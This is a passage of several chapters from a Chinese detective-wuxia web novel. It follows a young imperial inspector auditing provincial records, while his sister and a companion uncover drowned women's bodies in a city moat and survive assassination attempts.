北寰言低头,茗了一口茶。 不欲与景雀争辩。 景雀常年在陛下身边,得陛下盛宠。早些年在梨园的时候也是伶牙俐齿舌灿莲花。 景雀的事,北寰言的母亲曾来信跟她说起过。 当年她诈了前任刑部尚书盛明州二百万两银子送给景雀以弥补他身体上的残缺,还把他送到许景挚的身边。 这事景雀一直记在心里。 许景挚登基之后,他便成了内官总管,掌管内廷的一切事务。 有那二百万两银子在手,景雀在皇宫里混得如鱼得水。本就是梨园出身,做事待人八面玲珑,再加上他手散,给下人好处颇多。 他只用了短短两年的功夫,便让整个皇宫内官对他无不诚服。 他帮许景挚把内廷管理得井井有条,甚至帮许景挚建立起后宫的情报网,来洞察前朝之事。 许景挚宠爱景雀,这是明眼人都能看见的。 以前北寰言入宫只去翰林院与御书房。只要他一进宫,身后便有两三个小内官跟着供他差遣。 先前他没怎么在意这件事。 而今他从许都出来了,看着景雀奉旨带着一千御林军来护卫他。 北寰言才深觉自己母亲当年把那两百万两银子给景雀,把他送到还是宁王的陛下身边的举措有多么高瞻远瞩—— 当年四龙夺嫡那般险境,哪怕安王府胜券在握,北寰言的母亲依然觉得自己的父亲不会继承帝业。 景雀,其实是鬼策军师公子季凉提前在皇城里埋了一手棋,防着她自己的孩子日后有可能入朝为官。 凭着景雀这些年与陛下的恩情,最少可以让他在面圣的时候惹许景挚不快,有人在边上吹枕边风,明里暗里护着他。 如今北寰言年岁渐长,也走到了筹谋全局这一步,他才明白当年自己母亲的攻心之术到底有多么的可怕。 景雀现在对他上心,这是心甘情愿。 这世上没有比这更厉害的攻心之术了。 北寰言一直都忍不住想,他父亲母亲在朝叱咤风云的时候,那是一个怎样变幻莫测的局势。 是不是也同他今日这般错综复杂。 外面有人叩门。 景雀把人唤进来,那小内官递上一个请帖,便退了出去。 景雀直接把帖子递给了北寰言。 北寰言接过来,凌信也凑过来看。 “开国伯?”凌信疑惑地看向北寰言,“你认识?” 北寰言蹙眉,在记忆里搜索这个人。 景雀在许景挚身边多年,对朝中人事比北寰言清楚,他略略颔首道:“公子,这开国伯是你父亲,安王殿下的故人。” “故人?”北寰言看向景雀。 景雀解释:“先帝在位时期,安王殿下收回南泽那一战,用了一个细作,名为其山,在家行四,当时人称其老四。 “此人在沁春城那一战中立下汗马功劳。 “那一战,安王殿下故意放走战败的南泽统帅马跃,其山在安王殿下授意,前去救了当时南泽统帅马跃,成功潜入南泽国。 “后,在安王殿下奇袭南泽的时候,其山在南泽城内替殿下打开城门,居功至伟。 “陛下继位之后,替军门翻案,对前朝旧事论功行赏,就赐了其山正四品上,开国伯的爵位,予以嘉赏。” 原来还有这层关系。 北寰言打开请帖,缓缓扫视。 凌信问:“说了什么?” “开国伯请我三日后,过府家宴……”北寰言盯着这请帖,眉梢微垂。 “你认识这人?”凌信疑惑不已,“不应该啊,我天天跟你待在一起,我怎么没见过这人?” 北寰言把帖子收好,递给景雀。 景雀帮北寰言把文书一类的东西收好,摆放在书桌上。 北寰言看向凌信:“先休息吧。这事还早。多思无益。” 凌信点头,走向西间床榻,躺床上合衣就睡了。 凌信这些年一直跟着北寰言,说是兄弟,其实担的是王府世子身边亲卫的职责。 凌信下山之前,爹爹特地把他唤到屋里,给了他一本剑谱,一本心法,一本步法。 这三本合练,便是飘渺剑。 幼时的北寰双子与凌信,是跟着凌信的父亲母亲一起下山的。凌乐在太傅府住了六年,悉心教导凌信剑术。月卿则是教凌信医术。 在凌乐极其苛刻的要求下,凌信习武底子打得牢,医术也略有小成。再往后就是个人修行,凌乐见儿子已经能自己修行,便与 18. 再探河道 《盛世山河(探案)》全本免费阅读 因为年纪小,鼻头、下巴脸颊都还是圆润的模样,带些婴儿肥。 但这样看去,一眼就能看出来北寰言是个男子,不似之前雌雄莫辨。 束好发,景雀便拿来一套月白色的圆领衣衫,给北寰言换上。 东陵对有功名者、官服都有明确的着装要求——必须为圆领锦衣。 不同品阶,用的衣服材质不同。 之前北寰言因为私访,不想暴露身份穿的是开襟碧色长袍。这不符合有功名在身的人的着装规矩,才让纵尚误会他信口开河。 现在下午要以巡察使的身份去府衙,朝廷官员衣衫都有定制。 北寰言这南境巡察使虽然没有品级,只有权力,他也必须按照东陵朝堂的规矩穿圆领锦衣。 只是他不必按照官服品阶颜色穿得那么规矩。 北寰言一向注重这些礼节。 景雀常年在许景挚身边伺候,知道这些细微末节的事,替他操心起来,得心应手。 这锦衣穿着,没有之前俊逸谪仙之感,多了些威重在身上。 景雀替北寰言换好衣服,微笑颔首道:“公子的眼睛与王妃很像。” 北寰言侧目,没说话,耳边却是红了一片。 景雀见他害羞,笑意更胜。 凌信等他换好衣服,便也合上书。 景雀恭敬地把两人送到官驿门口,欠身,目送两人离开。 * 官驿距离府衙距离不远,走路一炷香的功夫就到。 北寰言这次换了圆领锦衣来,路上的人看他,都多了些尊重,纷纷避让。 门口值守的府衙远远看见北寰言,连忙进去通传纵尚。 纵尚出来迎接,心里直打鼓。 北寰言掠过纵尚,宽大衣袖擦着纵尚衣袖而过,他直言:“我代陛下看看明州的一应事务。” 说着便往后堂办公的地方去。 纵尚一路跟着,额头汗直流。 北寰言到了后院,坐在堂上,道:“劳烦纵大人把明州这五年的盐册、学册、织册、船册、田册等一应册子都拿来吧。” 纵尚确实是没想到北寰言一到任,就要先查盐政、学政、织造、船政这几大支柱产业。 连忙着人去给北寰言搬书册。 下人去搬书册的时候,北寰言问:“雪娘与那告状女子的事,审得如何了?” 纵尚回答:“雪娘抵死不认,那女子有名册,却没有人证……这案子,实在不好审。” 北寰言若有所思:“事情没查清楚之前,雪娘与告状女子都不能轻易放了。要好好看着。” “是。”纵尚颔首。 衙役抬了几口大箱子过来,放在堂下。 他们要帮北寰言书册拿出来,北寰言让他们去忙,自己走到箱子边,随手抄起一本册子,翻看起来。 他一边看,一边道:“劳烦纵大人也把这些年府衙状案,拿过来。” 纵尚不敢怠慢,连忙去找人搬状案。 凌信在一边看着衙役们搬来的十几箱书册,错愕地看向北寰言:“你不会要把这些东西都看完吧?!” 北寰言没抬眼,嗯了一声。 凌信语塞。 这还真的是代陛下来巡查…… 还好他很有先见之明,走之前带了一本医书。 北寰言看册子,他就在一边看医书,倒也不觉得无趣。 * 暮色四合,天边火烧云连成一片,北寰舞才悠悠转醒。 院子里的小丫头听见屋里动静,见北寰舞醒了,立即去端了一碗茶来。 北寰舞坐在床上端过茶水,笑眯眯地问小丫头:“你叫什么呀?” 小丫头哪里见过这么好看的小姐? 见她笑,心就止不住跳,她害羞地回答:“我叫芍药。” “芍药呀?”北寰舞摸下头发上的白芍药,递给芍药,“巧了,我也正巧也喜欢芍药呢!这花我才摘得,送你!” 芍药很是害羞,接过来,福了福身子:“多谢小姐赏赐。” 北寰舞很是喜欢这小丫头,长得圆嘟嘟的,可爱极了。 “时均白在干什么?” 北寰舞一口把茶水喝了个干净。 芍药说:“时公子早就醒了,现在跟着平伯逛园子呢。” “哦……”北寰舞把茶盏,递给芍药,站起身来伸了个懒腰,“我去看看。帮我把床收拾了,谢了!” “是,小姐。”芍药连连点头。 北寰舞穿上外衣,往花园去。 她知道时均白去哪了,他一定是去看这院子里机括总闸了。 果然,在园子正中一间屋子里找到了他。 北寰舞刚进门,就看见他刚从地下暗格里爬出来,灰头土脸。 北寰舞负手而立,歪着头,笑问:“看明白了?” 时均白恋恋不舍地回头看那暗格,有些感慨回道:“看明白了……师叔跟我爹爹做的这机括闸门,设计得真是精巧。即便是我看,也要看一会儿才能看懂。” 北寰舞得意地仰着头:“那是,我娘可厉害了。” 时均白拍了拍身上灰尘,问:“手好些了吗?还疼吗?” 北寰舞摇头:“不疼了。” “嗯,明天我再帮你换药。”时均白道,“走吧,时间不早了,用了膳,我们还要夜探护城河。” 北寰舞一想到晚上要去闹鬼的地方,就脸色惨白。 时均白见她走得慢,回头似笑非笑地问:“不然我自己去?” 北寰舞见他笑话她,当即来了气,脚下一跺:“我才不怕!” 说着便气鼓鼓地跑了。 时均白跟在后面很是无奈,但这小姑娘又怕又气的小表情,倒是惹人喜欢。 北寰舞一路上,每一步都踩得很重。 时均白纳闷,小姑娘哪来那么多气。随便说一句,都能让她气好久。 两人一前一后进了膳厅。 只是一下午的功夫,膳厅就变了样。 之前这里摆了许多桌子,现在北寰舞来了。他们就把这膳厅恢复原状,中央只有一张大圆桌子。膳厅的四角换上了装饰摆设,内饰很是讲究。 似乎是按照皇族礼遇摆的。 他们一落座,立即就有人上菜,给他们布菜。 时均白不习惯,但他看北寰舞一副理所当然的样子。 时均白沉眸—— 北寰舞与北寰言五岁就被接进许都学习,自小长在都城。跟北寰言一样,自小是都是用 19. 河中鬼 《盛世山河(探案)》全本免费阅读 两人一前一后落在雏凤楼楼顶,伺机而动。 隔壁院子烧毁了,不似昨日里一片灯火通明。 今日北寰言来雏凤楼抓走了雏凤楼掌事雪娘。眼下雏凤楼也没有开门营业。 深夜许多店铺已经打烊,一时间雏凤楼周围灯光便黯淡了许多。 月光下,护城河水似有似无,宛若夜幕星海,闪闪烁烁。 两人似雕塑一般在屋檐上蹲了半宿,也没见护城河那有什么动静。 很快天就入了凌晨,天边翻起了鱼肚白。 北寰舞蹙眉,暗自思忖,这事难道是她想差了? 正想着,就听见“噗通”一声。 两人目光追着声音而去,只见河面上有一条红色纱绫正往河里坠去。 北寰舞与时均白愣了一下,而后双双反应过来,有人投河! 连忙跳下屋檐,直奔护城河去。 北寰舞要跳水,时均白拦住她:“你手上有伤,我去!” 说罢他便一跃跳入河中,追着那段红色纱绫沉入河底。 夜里视野不好,越往下,河水越不透光。河里漆黑一片,那红绫很快便消失不见。 时均白心中一紧,加腿打水,宛若游鱼一般往更深的地方去。 他没想到这护城河河水竟然这么深。往下潜了一丈也看不见方才投河的人。 时均白因为家门的关系,练缩骨功常年服用时家的秘药,身体太轻太软。在这河里,越往下潜便越困难,他已经快憋不住气,想着先回水面再说。 当即调转身子,往水面上游。 忽然,他脚踝处被什么东西抓住,把他死命往下拉! 时均白嘴里就一口气,不敢松。 只是这一拉,时均白觉得自己肺都快炸了。 抓着他脚踝的东西劲很大,直接把他拉扯往水面更深的地方去。 他甚至觉得随着自己下坠,身后慢慢有什么东西攀爬上来。那东西抓着他,伏在他耳边,企图开口说话。 他周身、满眼都是红色纱绫,那纱绫在水中曼舞,逐渐把他包裹住。 一个微乎其微、被水冲刷了变形的声音在他耳边低吟:“救我……救我……” 这东西力气太大,时均白想要挣脱,可他实在没气。 嘴一张,一串气泡往水面飘去。 北寰舞在上面等了一会儿儿,看见水面翻滚出一串气泡,心道不好,也顾不上手上伤,直接一跃,“噗通”一声潜入河里。 她往下潜游,很快就看见时均白。 天光初现,一道白光折射进水里,周遭瞬间明亮起来。 她终于看清,时均白身后扒着一个红衣女鬼! 那女子瞪目圆睁,脸被泡得发白。她死死地抓着时均白,不肯松手。 北寰舞当即游过去,从腰间拔出飘渺剑,对着红衣女鬼四剑,瞬间那红衣女鬼便松了手。时均白开始往水面上飘。 北寰舞游过去,拖住时均白,把他往水面送。 到了水面,北寰舞抱住时均白,按了藏在手腕处的暗线,射在岸边墙壁上,借助机括之力把她与时均白一起从水里拉了出来。 时均白溺水,没了呼吸。 北寰舞来不及多想,拖住他的头,就捏住他的鼻子,低头用嘴往他的嘴里渡气。 两口气下去,时均白有了反应,他翻过身,把肺腑里的水全部吐了出来。 “咳咳……” 时均白难受得很,鼻腔火辣辣地疼,肺里也刺痛。 他着急吐着水,根本没办法呼吸,一口气没喘上来,又趴那不动了。 北寰舞大骇,心道他要是死了,时休师叔不得把她恨死? 想都没想,连忙扶人,继续渡气。 两人唇刚刚要贴没贴上,时均白就忍不住,翻过身去,笑开了。 北寰舞愣了一下,当即大羞! “你!”北寰舞捂着嘴,指着时均白,“你你你你你!” 时均白笑得猛咳,连连摆手:“咳咳咳……我也没想到你这么好骗。” “你!” 北寰舞这回是真的生气了,气得眼泪直掉。 哪有这样的人?! 她担心他溺死,他却拿她开玩笑?! 刚才! 还! 骗她亲他! “你这个浪荡子!” 北寰舞气得一拳打过去,正巧打在她受伤的手掌,疼得她又是眼泪婆娑。 气也气,疼也疼,初吻还没了。 北寰舞顾不得面子,“哇”的一声哭了出来。 时均白只道她贪玩,没想到真到了事上,她也玩不起。 他又把她给惹哭了。 北寰舞哭得厉害,站起身,要走。 时均白连忙跟着爬起来,拉住她,哄着:“别哭了,别哭了。我错了,我真的错了。我看你挺机灵的,没想到你真的信啊!” 北寰舞气得直跺脚,时均白拉着她不让她跑,北寰舞回头张口就咬时均白的手。 时均白理亏,不敢吭声。 只能任她咬。 这丫头是真咬,一口直接给他手背上咬了两排血牙印,牙印上还沁出了血。 北寰舞尝到了血的咸腥味,才松了口。 时均白没怒,只是语调轻松地问她:“不气了?” 北寰舞眼泪没停,梨花带雨地望着时均白。 这人,眉眼处全是风流债,到处惹桃花! 北寰舞不想理他,转身要走。 时均白拉住她的受伤那只手:“纱布湿了,解下来,不然伤口该化脓了。” 北寰舞想要挣脱,可时均白比她力气大,他不放,她就挣不了。 只能眼睁睁看着他帮她把纱布取下来。 “我就不该救你!就应该让你跟那女鬼一起在河里风流快活!”北寰舞狠狠道。 “女鬼?”这次轮到时均白脊背发凉了,“你看清楚了,真是女鬼?” 北寰舞翻了他一眼,眼睛里水汪汪的:“我下去的时候,你正在跟女鬼耳鬓厮磨呢!两人你抱着我,我抱着你,愉悦得很!” 时均白回头去看河里。 河水湍急,除了水波粼粼,再也看不见别的。 真有女鬼? “我们先回去再说。”时均白二话不说,拉着北寰舞往宅子去。 两人衣服都是湿的,生怕有人看见生疑。他们不敢走地面,还是从屋檐上一路飞奔。 时均白拉着北寰舞,跑在她前面,替她挡掉了不少风。 “方才……”时均白声音还是散散的,似乎有些惊魂未定,“多谢。” 北寰舞不言,不知道是还在生气,还是懒 20. 三探河道 《盛世山河(探案)》全本免费阅读 等了好一会儿,看见芍药端着一个盆子从里面退出来,他忙上去:“芍药。” “时公子。”芍药眨眨眼睛,往他这来。 时均白道:“师妹洗好了吗?能否帮我通传一声。” 芍药看了一眼道:“时公子且等会吧,小姐这会应该在穿衣服。” 时均白一下红到耳根,连连点头,负手背过身去,看向别处。 芍药去烹了两盏茶,端回来,路过院子说:“时公子稍等,我去跟小姐说。” 时均白点头。 芍药进去,没一会儿里面就传出北寰舞闹脾气的声音:“他来干什么?!不见不见不见!让他走!” 时均白听着,这明显还在气头上。 他想走,不敢走。只能等着芍药出来。 芍药一脸难色从里面出来,朝时均白福了福身子:“时公子,小姐不想见您。” 时均白听见了,没说什么,只是把手中的药递给芍药:“她手上有伤,你帮她上药。跟她说,好好休息,等她睡醒了,我再来。” 芍药接过来,应下,看着时均白走了,才回屋子。 “小姐,时公子送来的药膏……” 芍药刚想说给她上药,北寰舞拿起药瓶就砸了出去。 那药瓶还没落地,就被一个人影接住。 时均白一身湛蓝色对襟长袍,散着发,手里拿着药膏,一脸淡笑在门口望着北寰舞。 “谁让你进来的!” 北寰舞一脸怒色,当即从软塌上站了起来。 时均白轻挑地笑着:“药膏也是钱,砸了多浪费。” 北寰舞看见他就来气,他俩肯定是八字不合。 芍药见时均白折返,知道他是有事找小姐,连忙很有眼力地退了出去。 北寰舞见芍药要跑,连忙道:“你干嘛!不许跑,你给我回来!” 芍药才不管她,冲她做了个鬼脸,帮他们把门合上了。 “小丫头片子!”北寰舞气得无话可说。 时均白笑吟吟地过去:“我给你上药。感谢你的救命之恩。” 北寰舞甩头不看他。 时均白去牵她的手:“咬得那么狠,还不解气?” “你活该!” 北寰舞气得要死,可她到底是没收回手。 几次挣扎她发现时均白力气比她大。他如果不想她挣脱,她肯定挣脱不了,便不想费这个力了。 时均白带着她往软榻上坐,看她伤口被河水泡白了,当即蹙起眉:“我帮你处理一下,别动。” 北寰舞没理他,也不看他。 时均白小心翼翼地给她上药,一边上药一边闲话:“你真看清楚那河里,困住我的东西是女鬼?” 北寰舞哼了一声,算作回应。 “所以这事,应该是那女鬼故意跳河,引得我们去救,趁机杀人?”时均白喃喃地分析着。 北寰舞睨了他一眼,看他在给她包扎。 “还是挺危险的,你在家休息罢。一会儿我再去一次。”时均白系好纱布,抬眸看向北寰舞。 北寰舞抱着手,没好气:“之前你一个人去,差点死在河里。” 时均白道:“那是我没准备,再去就不会了。” “那不行。”北寰舞鼓着嘴,“我也要去。” “你不是生我气呢?”时均白笑着,“正好如果我被女鬼害了,死在河里,不是让你解气?” “呸呸呸!”北寰舞连忙让他闭嘴,“说点好听的行不行?什么死不死的!你死了,时师叔不得让我也跟着赔命?!” 时均白侧头轻笑。 北寰舞忽然收敛了嬉闹,认真道:“再说了,这事,本来跟你没关系。是我跟哥哥的事。应该是你在府里待着,我自己去才对。” 时均白望着她的红唇,抿紧了自己唇,不自觉地移开目光道:“其实你看见的未必就是女鬼……” 北寰舞不解看向他。 时均白道:“如果真是女鬼,入水哪有重量?应该是不知什么缘故投河的女子。” “可是我真的看见她抱着你,不松手啊?”北寰舞蹙眉。 时均白想了想道:“应该是我跟她跳下去,她求生本能看见什么都抓。这才抓住了我。” 北寰舞也想相信那是人,但是她在水里对那女子斩了四剑,挑了她手脚:“我拿剑刺了她,没看见血……” 他们两个人看见的东西差别太大。 很难说当时趴在时均白身上的那个红衣女子,是人是鬼。 “所以要再去一次。”时均白想了想,“这次我们白天去。如果是女鬼,我们就找不到任何东西,如果不是……” 如果不是,那就能看见点别的什么。 “好!”北寰舞连连点头。 “先睡一觉吧,睡醒了,我们再去查。”时均白起身,走了两步,停下,回眸看向北寰舞,“之前在雏凤楼,我说的是认真的,师妹不妨考虑下。” “什么?”北寰舞没反应过来。 时均白转过身,背后带着光,如墨一般的头发披在身后,微风掠起。 他目光微侧,看向一边,耳底带着许多害羞。 北寰舞立即反应过来,他说的是在床上,还有河边救他的事。 他是想负责。 北寰舞盯着他看了好一会儿,道:“师叔不是准备给你议亲了?” 时均白愣了一下:“你听到了?” “我又不聋。”北寰舞望着他,目光沉稳,难得神情肃穆,“如果对你来说,谁成为你的妻都不重要——那这件事对我来说就也不重要,还请师兄不要放在心上。两次肌肤之亲,都是事出紧急,我不当真,师兄也别当真才是。” 时均白沉默半晌,仰头道:“我会让人给我爹爹带话,议亲的事,暂且推后。” “与我何干?”北寰舞起身,把一个东西,塞进时均白手里,往寝室走去,“师兄,我困了。你自便吧。” 时均白垂眸,看见北寰舞把他的红玉牌还给了他。 很好。 第二次拒绝了他。 时均白松了一口气。 正好,他也不太想跟皇族扯上关系。 他们时家给皇室修墓时时刻刻都命悬一线。 如果跟北寰舞这样的皇族牵扯太深,若是出事,那便是满门抄斩的大事。 时家祖辈们建功立业,不知花了多少心血。 他是下一任家主,不得不为全族人考虑。 他可以无功,但也不能让时家在他这一世没 21. 女尸 《盛世山河(探案)》全本免费阅读 天边一片火烧云,霞光裹挟着暮色投到水里,把整个护城河都染成了红色。 像血一样。 河里越深,光线越暗,河水变得黑红。 两人小心翼翼地下沉,寻找昨天附在时均白身后的那个红衣女子。 是人是鬼,找到就清楚了。 很快他们就跟着石块一起沉到了河底,河底全是淤泥,长满了水草。装石块的袋子落入淤泥里,震起一层泥沙。 北寰舞与时均白纷纷撩起衣袖,只见他们手腕上一人带着一个散发出荧荧绿光的镯子。 这是时家早些时候还在盗墓时,特地找的夜光石,打磨而成,专门在黑暗环境里用的冷光。 白日里这镯子平平无奇,但只要到了无光的地方,这镯子就能发出点点光亮。在水里能照亮自己周围地方。 河面上隐隐有光透下,河底不是黑得彻底。 时均白与北寰舞顺水往下游了两三丈的距离,他们俩一起停了下来,瞳孔微缩,直直盯着前方,一动不动—— 红光之下,他们眼前,似有似无地漂浮着无数红衣女子! 她们紧闭双目,墨发在水中随着水波缓缓浮动,她们身上都穿着红色纱衣。 头发、纱衣悬浮在水中。 宛如一根根红色的海带,随波逐流。 这些女子悬在水里,远远地看去,仿佛是在水中曼舞的舞娘。 原来昨日时均白遇见的,只是她们其中一个! 北寰舞拉紧了时均白手臂。 时均白做了一个上浮的手势,两人便丢了石块,往上浮去。 两个脑袋先后露出水面,爬上岸,大口大口喘着气。 “不、不是女鬼……”北寰舞轻咳了几声,她有点恶心。 时均白点头,眉宇沉重。 确实不是女鬼,是女尸群。 刚才悬浮在水里的那些女子,都是被人抛尸在河里的女尸。 时均白立即道:“我先找个地方停马车,我俩把湿衣服换了。我易着容,一会儿我去报官。打捞尸体这事工作量太大,我们两个做不来,必须找官府来。还有,这事必须要尽快让北寰言知道,或许跟他查的事情有关!” 北寰舞点头,两人迅速上了马车。 * 北寰言与凌信刚出府衙,就看见一个老汉跌跌撞撞地往府衙跑来。 那老汉看见他俩,直接往北寰言身上撞。 北寰言蹙眉。 凌信上前挡住,接住那老汉。 那老汉说:“护城河里有好多女尸!在雏凤楼附近!快去找人!” 北寰言给凌信一个眼神,让他去找人。 凌信立即回头去府衙找黄海调集人手。 北寰言走过扶住那老汉。 时均白握住北寰言胳膊,立即把声音变回来,低着头,看似在大口喘气,实则却不动神色地跟他说:“有人故意引我们去查女鬼,我们入水,看见里面的女尸。你一切小心。” “好。”北寰言眼神犀利,松了手。 时均白立即离开,往人多的地方跑。 凌信从里面出来,带了一堆人。 北寰言回眸:“雏凤楼!” * 一群人浩浩荡荡地往雏凤楼边护城河去。 几个水性好的衙役,自告奋勇身上绑了绳子下河一探。 北寰言与凌信站在河岸上,盯着河里动静。好一会儿纵尚才扶着官帽,坐着轿子往河岸边赶来。 他下来轿子,还没站稳,就着急问:“言公子这是怎么回事?” 北寰言回:“不清楚,只是让他们先下去看看。” “河里有什么?”纵尚问。 北寰言说:“方才有人报官,说河里有女尸。” “女尸?!” 纵尚一个头两个大,雏凤楼雪娘那边逼良为娼的案子还没审结呢,怎么又蹦出来女尸? 纵尚只觉的自己今年官运不顺,怎么北寰言一来,什么事都让他给遇上了? 很快河里就有了动静,那几个下水的人,一起抬着一个红色的东西,往岸边游。 岸上的衙役齐心协力把那东西抱上来。 北寰言快步走过去,探头一看。 那是一具被河水泡的发涨的红衣女尸,已经面目全非,浑身溃烂,被拖出水的那一刻就散发着恶臭。 北寰言与凌信不约而同的蹙眉屏气,盯着那女尸久久不语。 带头下去打捞的人爬上岸来回禀:“大人,言公子,下面还有好多女尸!河水太急了,女尸脚下都垂着重物,我们带不上来啊!” 跟着一起下去的衙役纷纷附和,说他们都看见了。 一大堆衙役聚在一起,引来了许多路人围观。 他们都看见被打捞上来的女尸,纷纷捂鼻退让。 随后议论疯起—— “天啊,是女尸,不是女鬼!” “是啊,先前说护城河附近有女鬼都是骗人的,是女尸啊!” “真的呢!好恶心啊,这女尸不知道在里面泡了多久了!” “听说还不止这一具呢,有好多呢,在下面!” “呕——”有人开始呕吐。 随后不知道谁带的头,一群人开始拍纵尚的马屁:“刺史大人好厉害啊,这么快就破获护城河女鬼案!真厉害啊!” 一堆人纷纷附和。 纵尚额头渗着汗,擦都擦不完。 这哪是他破获的啊,这明明是北寰言找到的。 纵尚恨不得让这些拍马屁的人闭嘴。 北寰言听着众人议论—— 原来坊间早就流传这附近有女鬼出没? 不,那是杀人犯故意放出的消息,为的就是不想让人接近这片有女尸的水域罢了。 可时均白说,是有人故意引他们来的? 也就是说,这河里有女尸,有人早就知晓? “纵大人。”北寰言看向纵尚。 纵尚立即转身:“言公子。” “有没有什么法子,把水里的女尸全部打捞上来?”北寰言问。 纵尚垂眸沉思片刻,忽然想到什么,一拍脑门,道:“有!言公子在这里稍等片刻!” 纵尚立即招呼黄海点人跟他走。 北寰言蹙眉盯着纵尚离开。 目光所及之处,北寰言看见藏匿在人群里看热闹的北寰舞与时均白。 时均白卸了易容,站在人群里及其好认。北寰舞模样出挑,在人群里比时均白更好认。 北寰言遥遥地给了北寰舞与时均白一个眼神,示意他们跟上纵尚。 北 22. 动手 《盛世山河(探案)》全本免费阅读 屋外,巨大的闸口缓缓落下,挤压着风往狭窄的空间里窜。 北寰舞的发梢被风带起,微微浮动。 一道破空声音自左边来,北寰舞骤然俯身,一道白光从她头顶削过。她当即丢出手中两枚银针。只听“当当”两声,银针被格挡。 北寰舞冷眉,“刷”的一声从腰中摸出飘渺剑,一道凌冽的剑意直直指向来人的方向。 那人不躲,拿剑上挑,强行挑开北寰舞剑尖。 北寰舞的剑与那人手中的刀相交之时,她能感觉到自己手已经被那人巨大的力量震麻。 只是这一招,北寰舞知道自己硬刚不过对面的人,随手丢下一个东西。那东西刚碰触地面,就炸开一阵白烟。 北寰舞立即脚下用力,趁着烟雾往门口窜去。 哪想那人早就看穿北寰舞意图,一刀直接追身而来! 她被迫回身用飘渺剑硬接了一刀,被那人霸道的力气直接打飞出去,往河水中下落。 落身的时候,北寰舞抬手往对面屋檐上发射了丝线,把自己从空中带起。 来人显然没想到北寰舞身上的小玩意这么多,防不胜防。 北寰舞被线带走的时候,回眸看了那人一眼。 那人整个身子都藏在屋里阴影之下,看不清真容。 北寰舞借助丝线与机括之力,翻上对面房檐,冷冷睨了那人一眼,转头就跳入小巷狂奔。 “啐!” 北寰舞从嘴里吐出一口鲜血,抬手擦掉嘴角的血垢。 她冷目往后看去,脚下不停,跑得飞快。 没人追她? 只截杀,不追杀? 哪来的路子? 那人功夫不错,手上力道很是霸道,有点像…… 北寰舞一边跑一边闭上眼睛,回想接这一剑的感觉。 有点像爹爹挥剑时候的样子——一击毙命。 她忽地睁开双眼,眼眸精亮,军中人?! 方才截杀她的人,是久经沙场的军人?! 身前忽然落下一道黑影,北寰舞来不及想,脚下收了步伐,下意识抬手就用飘渺剑扫过去。 那黑影俯身躲过,忙出声:“是我。” “时均……白……” 北寰舞最后个字没音,听见是时均白的声音,整个弦都松了下来,直接往地上栽去。 时均白大骇,连忙跑两步,把北寰舞接住,缓缓拖放在地上。 只见北寰舞拿剑的右手鲜血淋淋,他蹙眉帮她把手中的剑取下,只见她掌心处,有一道被震裂的口子。 他暗道不好,伸手去把北寰舞的脉。 她内力被人打散,在身体里乱窜。 方才截杀她的人,下的是死手。 时均白没敢多想,拎着北寰舞的剑,背起她,脚下踩着轻功,往宁宅奔去。 他直接几鞭关了北寰舞院子里的机括。 背着她落地的时候,力竭差点没站稳。他咳了两声,把北寰舞从背上放下,横抱起来,往她寝殿走去。 芍药在后院晾衣服,听见动静连忙跑过来看。 她看见时均白抱着北寰舞,北寰舞半只衣袖都染了血,鲜血一直顺着她指尖往下滴。 芍药吓得立即去找平伯。 时均白没想到自己离开一会儿,北寰舞就能把自己弄成这样子。 这样,如何跟师叔交差?! 时均白把北寰舞放在床榻上,扫了一眼,当即推起北寰舞,坐在她身后。 眼下她身上最要紧的不是手上的皮外伤,而是要尽快帮她梳理体内乱窜的内力。 时均白在北寰舞身后点了几下,封了她周遭几个大穴。 而后手上带着力,缓缓帮她把打乱的内力梳理开。 这死丫头,怎么学东西这么杂?什么流派的东西,她都学了点。 难怪遇见厉害的人,一打她内力就散。 平伯慌忙从外面进来,看见时均白在给北寰舞疗伤,顿时急得眼眶眼泪打转。 时均白微微侧目,道:“平伯,立即放信鸽上暮云峰,让凌芷速速下山!” “好好!”平伯着急忙慌地去找信鸽。 * 夜色渐浓,北寰言双手拢在衣袖里,看着护城河的河水越来越浅。 浓郁的夜色就像是刻在了他的眸子里一样,让他眸底黑得看不见一丝光亮。 凌信抬眸,正巧看见几只黑色的鸽子往暮云峰方向去。 那鸽子他眼熟。 是藏息阁找的及其特殊品种,可以在夜间飞行的鸽子。 “哎,”凌信往北寰言身边凑了凑,伏在他耳边低声说,“我看见宁府放信鸽往暮云峰去了。” 北寰言眉宇紧蹙,低声回道:“恐是他们那边出了变故。那鸽子……多半是去找凌芷的。” “什么意思?有人受伤了?”凌信眨眨眼,“不然我晚上去一趟宁府看看?” “若真出什么大事,平伯会来通知我的……”北寰言拢在衣袖里的手微微锁紧,“没通知我,那就是他们还能应付。” “骗鬼呢?小芷一个十一岁小丫头都能给让他们喊下山来,还说那边没事?”凌信明显是不想让凌芷下山。 北寰言没再与凌信多话,眼睛紧紧盯着河水逐渐褪去的河道。 他的目光顺着河道往上,放在了更远处。 这河道上游,竟然有水闸。 小舞追着纵尚去,没回来,多半是去研究那个水闸了。 她也觉得这水闸建在这护城河上有蹊跷? 夜风入城,扫起一众人的衣衫,猎猎作响。 北寰言额边的碎发在他眼眸上轻跃,埋住了他的眉眼。 入夜,河道边上等着放水的衙役们人人点了一个风灯,提在手上,把河边沿岸照的昏黄。 纵尚又让人找来几盏大灯,放在河岸两边。 河水逐渐褪去,露出下面的河床。 “啊——出来了!快看啊!”一个衙役指着下游方向,大喊。 北寰言快走两步,站上河沿的石阶,在众人风灯照耀下,他能看见河床里躺着许多身着红衣的女尸。 那些女尸从雏凤楼起始,沿着后面的河道绵延铺展开。 远远看去,宛如躺在河床大地上的血癍,触目惊心。 北寰言站在岸边盯着河下打捞尸体的那些人。 夜渐深,河岸上已经抬上来了二十多 23. 杀心 《盛世山河(探案)》全本免费阅读 两个少年人一条腿卡着他们的腿,不让他们脚下有步伐。左手手肘抵在他们肩膀至胸口,不让他们有机会动弹。右手持剑,剑刃抵在咽喉处。 两人招式一模一样,出招成式只是一息之间,虽然身形不如他们矮小,但稳如泰山,停得稳稳当当,长衫衣摆都没跟上他们的速度,还在微动。 北寰言脸上霎时间附上了阴寒,从剑后缓缓露的眸子里带着剑锋,他冷冷问:“谁是你们的主子?” 那两个黑衣人想要妄动,北寰言与凌信毫不留情,剑身直接往他们脖颈处递了半寸! 瞬间鲜血汩汩而出。 凌信见他们不开口,裂开嘴,轻笑:“我暮云峰神医谷里,有很多能让你们求生不得求死不能的毒药。想试试吗?” 那两个黑衣人听见凌信提到神医谷毒药,当机立断,咬破藏在嘴里的毒药,暴毙而亡。 “退!” 凌信见状不妙,立即拉着北寰言后退出一丈距离! 